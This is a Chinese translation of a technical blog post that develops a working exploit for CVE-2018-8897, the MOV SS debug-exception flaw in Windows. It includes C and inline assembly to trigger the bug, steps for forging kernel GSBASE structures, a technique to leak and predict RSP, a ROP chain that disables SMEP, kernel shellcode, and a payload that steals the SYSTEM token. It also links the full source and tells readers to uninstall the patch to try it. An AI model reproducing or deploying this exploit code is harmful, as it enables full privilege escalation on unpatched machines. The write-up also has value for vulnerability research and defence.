前言
翻译可能会有部分出错 所以欢迎评论指出 以及一部分翻译和原文并不一一对应 比如文中提到XMM 如果直说XMM总感觉怪怪的 所以我翻译为XMM寄存器 而还原为英文应该是XMM register 诸如此类 另外的 术语context大多数翻译为上下文 我每次读着都觉得怪怪的 所以索性就不翻译了 直接用context
水平有限 见谅
正文
前不久 Nick Peterson( @nickeverdox ) 和Nemanja Mulasmajic( @0xNemi )发现一个新的漏洞 该漏洞允许一个非特权用户使用用户模式下的GSBASE去执行#DB异常的处理程序 在网站triplefault上面他们所发布的白皮书当中 他们提到他们可以利用此漏洞去装载和执行未认证的内核代码 这个挑战让我相当感兴趣 这也恰巧是我这篇文章所要尝试去做的
在文章开始之前 我想要说明这个漏洞在虚拟机上面无效(比如说VMWARE) 虚拟机会在int3之后丢弃#DB异常 我主要是通过模拟漏洞的触发情况去执行调试
tips: 最后您可以在文章底部找到完整的源代码
0x0: 阐述一下基础理论
该漏洞利用的基本原理比起漏洞利用本身来说 要简单许多:
无论是通过mov指令还是pop指令 当堆栈段发生改变的时候 中断会在执行完堆栈段改变指令的下一条指令之后才会被探测到 这不是程序bug 而是因为intel公司设计的一个特性 这个特性允许堆栈段和堆栈指针可以同时被设置
然而 一些OS(操作系统—译者注)厂商忽视了这个细节 从而使我们可以伪造一个来自CPL0的#DB异常
我们可以通过设置调试寄存器来伪造一个deffered-to-CPL0(延期到CPL0的异常):
在堆栈段改变的指令处抛出一个#DB异常 该指令后面紧接着一条int3指令 int3指令之后会进入到KiBreakPointTrap函数中 然后在KiBreakPointTrap函数的第一条指令执行之前 #DB异常会被抛出
erverdox和0xNemi的白皮书当中 他们指出这个缺陷可以使他们使用用户模式下的GSBASE 调试寄存器 以及XMM寄存器去执行内核当中的异常处理程序
以上所讲述的可以通过以下代码来实现:
#include <Windows.h>
#include <iostream>
void main()
{
static DWORD g_SavedSS = 0;
_asm
{
mov ax, ss
mov word ptr [ g_SavedSS ], ax
}
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( DWORD ) &g_SavedSS;
Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( HANDLE( -2 ), &Ctx );
PVOID FakeGsBase = ...;
_asm
{
mov eax, FakeGsBase ; Set eax to fake gs base
push 0x23
push X64_End
push 0x33
push X64_Start
retf
X64_Start:
__emit 0xf3 ; wrgsbase eax
__emit 0x0f
__emit 0xae
__emit 0xd8
retf
X64_End:
; Vulnerability
mov ss, word ptr [ g_SavedSS ] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
}
}
由于我想把ASM代码和C代码展示到一起 所以上面的示例代码是32位的(Microsoft visual c++ 当中 X64不能内联汇编 — 译者注 ) 而最终执行的代码应该是64位的
好了 让我们开始调试我们的调试之旅 伴随着我们自己定义的GSBASE 我们首先会进入到KiDebugTrapOrFault函数当中 这没啥用而且是具有灾难性的 因为这将造成几乎没有函数可以正常工作而且我们会陷入到KiDebugTrapOfFault->KiPageFault->KiPageFault的死循环当中 而如果我们可以构造一个完美的GSBASE 我们最终可以得到一个KMODE_EXECPTION_NOT_HANDLED的蓝屏死机(BSOD)页面 所以 让我们致力于伪造一个和真的相似的GSBASE 尝试着最终能够进入到KeBugCheckEx函数当中
我们可以利用一个精巧的IDA脚本去迅速的获取有关信息
#include <idc.idc>
static main()
{
Message( "--- Step Till Next GS ---n" );
while( 1 )
{
auto Disasm = GetDisasmEx( GetEventEa(), 1 );
if ( strstr( Disasm, "gs:" ) >= Disasm )
break;
StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );
}
}
修复KPCR结构体
我们必须去修改GSBASE的几处内容 从而使我们可以顺利通过
KiDebugTrapOrFault
KiDebugTrapOrFault:
...
MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h
为了成功通过上面的指令 Prc.Pcrb.MxCsr需要一个有效的标志位 否则会引发一个#GP异常 所以 让我们给他一个初值 0x1F80
KiExceptionDispatch
KiDebugTrapOrFault:
...
MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h
Pcr.Prcb.CurrentThread会被保留在gs:188h处 让我们分配一块内存 然后在gs:188h处引用它
KiDispatchException
KiDispatchException:
...
MEMORY:FFFFF8018C12A4D8 mov rax, gs:qword_188
MEMORY:FFFFF8018C12A4E1 mov rax, [rax+0B8h]
此处指向的是Pcr.Prcb.CurrentThread.ApcStateFill.Process 所以 让我们再次分配一块内存 并且使该指针指向它
KeCopyLastBranchInformation:
...
MEMORY:FFFFF8018C12A0AC mov rax, gs:qword_20
MEMORY:FFFFF8018C12A0B5 mov ecx, [rax+148h]
GSBASE的的0x20处的是Pcr.CurrentPrcb 它仅仅是Pcr+0x180处的值 所以让我们将Pcr.CurrentPrcb设置为Pcr+0x180 同时将Pcr.Self的值设置为&Pcr(这一部分比较绕口 建议windbg下输入 dt nt! _ KPCR 进行验证查看)
RtlDispatchException
关于这一部分 我想阐述的更加详细一点 RtlDispatchException函数会去调用RtlpGetStackLimits函数 如果调用失败了 会去执行KeQueryCurrentStackInformaion函数 这个地方有一个问题 该函数会用当前的RSP值和Pcr.Prcb.RspBase Pcr.Prcb.CurrentThread->InitialStack, Pcr.Prcb.IsrStack的值做比较 如果他们不相等 那么函数会返回一个失败的值 显然我们在用户模式下我们无法知道内核中栈的值 所以 我们该怎么做呢
刚好这一块有一个奇怪的检测:
char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3)
{
...
if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) )
{
...
}
else
{
*v5 = 5;
result = 1;
*v3 = 0xFFFFFFFFFFFFFFFFi64;
*v4 = 0xFFFF800000000000i64;
}
return result;
}
多亏了这个检测 我们可以确信如果KThread.InitialStack(Kthread+0x28) 与 Pcr.Prcb.RspBase(gs:1A8h)不是等值的 KeQueryCurrentStackInformation就会返回成功 并且将xFFFF800000000000-0xFFFFFFFFFFFFFFF作为提交的的堆栈范围 让我们设置Pcr.Prcb.RsapBase为1 然后让我们设置Pcr.Pcrb.CurrentThread->InitialStack为0 最终问题就可以得到解决
RtlDispatchException函数会在上述改变之后失效 最终会在不做错误检测(BugChecking)的情况下返回到KiDispatchException函数当中
KebugCheckEx
我们最终抵达KebugCheckEx函数 这一块也是我们最后需要去修复的地方
MEMORY:FFFFF8018C1FB94A mov rcx, gs:qword_20
MEMORY:FFFFF8018C1FB953 mov rcx, [rcx+62C0h]
MEMORY:FFFFF8018C1FB95A call RtlCaptureContext
Pcr.CurrentPrcb->Context的值就是KebugCheck保存的调用者的Context的值 基于某些奇怪的原因 他是一个PCONTEXT而非CONTEXT 我们并不关心其他的Pcr的值 所以让我们将他设置Pcr+0x3000 这样做的目的只是为了让他指向一个有效的指针
0x2 在何处进行怎样的读写
最后 我们得到了属于胜利的蓝色屏幕
好了 现在一切如我们所预期 我们如何利用它呢
单步执行KeBugCheckEx函数之后的代码实在是太复杂了 很有可能相当无趣 所以这次让我们省去错误检测(bugcheck)
我写了一个IDA的脚本去记录我们感兴趣的点(例如gs: jmp/call register 和 jmp/call [register+x]) 直到抵达KeBugCheckEx函数的时候停止记录
#include <idc.idc>
static main()
{
Message( "--- Logging Points of Interest ---n" );
while( 1 )
{
auto IP = GetEventEa();
auto Disasm = GetDisasmEx( IP, 1 );
if
(
( strstr( Disasm, "gs:" ) >= Disasm ) ||
( strstr( Disasm, "jmp r" ) >= Disasm ) ||
( strstr( Disasm, "call r" ) >= Disasm ) ||
( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ||
( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm )
)
{
Message( "-- %s (+%x): %sn", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm );
}
StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );
if( IP == ... )
break;
}
}
让我失望的是 并没有找到方便跳转的地方 代码的整体输出如下:
- KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
- sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h
-- KiExceptionDispatch (+5f): mov rax, gs:188h
--- KiDispatchException (+48): mov rax, gs:188h
--- KiDispatchException (+5c): inc gs:5D30h
---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
--- KeBugCheckEx (+1a): mov rcx, gs:20h
这意味这我们需要寻找一种方式去写入内核模式下的内存并且滥用它 RtlCaptureContext函数在这个地方会帮我们的大忙 如我先前所说 它从Pcr.CurrentPrcb->Context获取一个CONTEXT指针 奇异的是一个PCONTEXT Context而不是CONTEXT Context 意味着我们可以将任意的内核地址提供给它 并将其写入上下文
起初的时候我尝试使用”g_CiOptions”的方法 然后在其他的线程当中使用NtLoadDriver函数 但是这个想法失败了(也就是说 这显然使@0xNemi和@neckeverdox使用的方法并且产生了效果 我想我们可以在Blackhat 2018的会议当中揭晓他们使用的黑魔法) 失败的理由很简单 当前的线程处于无限循环当中 而另外一个线程由于当前线程正在使用IPI 所以导致了死锁
NtLoadDriver->…->MiSetProtectionOnSection->KeFlushMultipleRangeTb->IPI->Deadlock
在“g_CiOptions”的方法上进行了1-2天的尝试之后 我想到了一个更好的主意: 覆盖RtlCaptureContext的返回值
在无法访问RSP的情况下 我们如何去覆盖返回地址呢 如果我们可以更具创造力一点 其实我们是可以访问RSp的 我们可以使Prcb.Context的值指向一块用户模式下的内存 然后在第二个线程当中轮询(Polling)Context.RSP的值 从而获取当前的RSP值 令人忧伤的事 这并没有什么用 因为我们的执行已经过了RtlCaptureContext(我们写入的是我们利用的地方)
然而 如果我们可以在执行完RtlCaptureContext之后回到KiDebugTrapFault函数 并且以某种方式去预测RSP的下一个值 这就具有相当的利用价值了 我们要做的也就是这件事
为了能够再次返回到KiDebugTrapOrFault函数 我们将使用我们亲爱的调试寄存器 在RtlCaptureContext返回之后 会调用一次KiSaveProcessControlState函数
.text:000000014017595F mov rcx, gs:20h
.text:0000000140175968 add rcx, 100h
.text:000000014017596F call KiSaveProcessorControlState
.text:0000000140175C80 KiSaveProcessorControlState proc near ; CODE XREF: KeBugCheckEx+3Fp
.text:0000000140175C80 ; KeSaveStateForHibernate+ECp ...
.text:0000000140175C80 mov rax, cr0
.text:0000000140175C83 mov [rcx], rax
.text:0000000140175C86 mov rax, cr2
.text:0000000140175C89 mov [rcx+8], rax
.text:0000000140175C8D mov rax, cr3
.text:0000000140175C90 mov [rcx+10h], rax
.text:0000000140175C94 mov rax, cr4
.text:0000000140175C97 mov [rcx+18h], rax
.text:0000000140175C9B mov rax, cr8
.text:0000000140175C9F mov [rcx+0A0h], rax
我们将DR1的值设置成gs:0x20 + 0x100 + 0xA0 然后使KeBugCheckEx函数在保存完CR4的值后返回到KiDebugTrapFault函数
为了覆盖返回地址的指针 我们需要使KiDebugTrapOrFault->…->RtlCaptureContext程序流先执行一次 然后将初始的RSP值返回给我们处在用户模式下的线程 然后我们让它再次执行得到一个新的RSP的值 这样将使我们可以计算出每次执行的RSP的差值 RSP delta应该是一个固定的值 因为程序的控制流也是恒定的
现在我们已经知晓了我们的RSP delta了 我们可以预测下一个RSP的值 然后减去8就是指向RtlCaptrueContext函数的返回地址的指针 之后再利用Prcb.Context->Xmm13-Prcb.Context->XMM15的值去覆盖它
该线程的逻辑如下所示:
volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it
现在我们只需要设置一个ROP链 并且将它写入到XMM13-XMM15寄存器当中 由于我们为了满足movaps指令的对齐要求而实现的mask 我们无法预测XMM15寄存器的哪一半会被命中 所以最初的两个指针应该指向一条retn指令
我们需要装载一个寄存器 并用其值去设置CR4寄存器的值 所以XMM14寄存器存放POP RCX;RETN指令 后面紧接着一个禁用SMEP之后的有效的CR4的值 对于XMM13寄存器 我们简单的使用mov cr4,rcx;retn小组件 后面紧接着shellcode的地址
最终的ROP链与以下相似:
-- &retn; (fffff80372e9502d)
-- &retn; (fffff80372e9502d)
-- &pop rcx; retn; (fffff80372ed9122)
-- cr4_nosmep (00000000000506f8)
-- &mov cr4, rcx; retn; (fffff803730045c7)
-- &KernelShellcode (00007ff613fb1010)
在我们的shellcode当中 我们需要恢复CR4寄存器的值 执行swapgs指令 返回到ISR堆栈 执行我们需要的代码 并且能返回到用户模式 我们可以像下面这样做:
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void( * ) ( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );
__swapgs();
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{
__rollback_isr( IsrStackIterator );
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 --
fffff00e`d7a1bc70 0000000000000033
fffff00e`d7a1bc78 0000000000000202
fffff00e`d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
// ------ KERNEL CODE ------
....
// ------ KERNEL CODE ------
__swapgs();
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
}
我们无法恢复任何的寄存器 所以我们让负责执行漏洞利用的代码将context存放到一个全局容器中 然后利用它去恢复寄存器的值 现在让我们执行我们的代码 然后返回到用户模式下 我们的exploit就此顺利完成!
最后让我们编写一个小小的demo程序去偷取系统令牌吧
uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
for ( int i = 0; i < 0x500; i += 0x8 )
{
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );
if ( ( Member & ~0xF ) == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );
以上理论知识的完整代码实现可以在此处找到: https://github.com/can1357/CVE-2018-8897
P.S: 如果你想要尝试利用这个漏洞 请卸载相关的补丁
P.P.S:如果你问我为什么不使用内联函数去读写GSBASE 因为MSVC(此处应该是指: Microsoft Visual C++ — 译者注)会生成无效的代码
发表评论
您还未登录,请先登录。
登录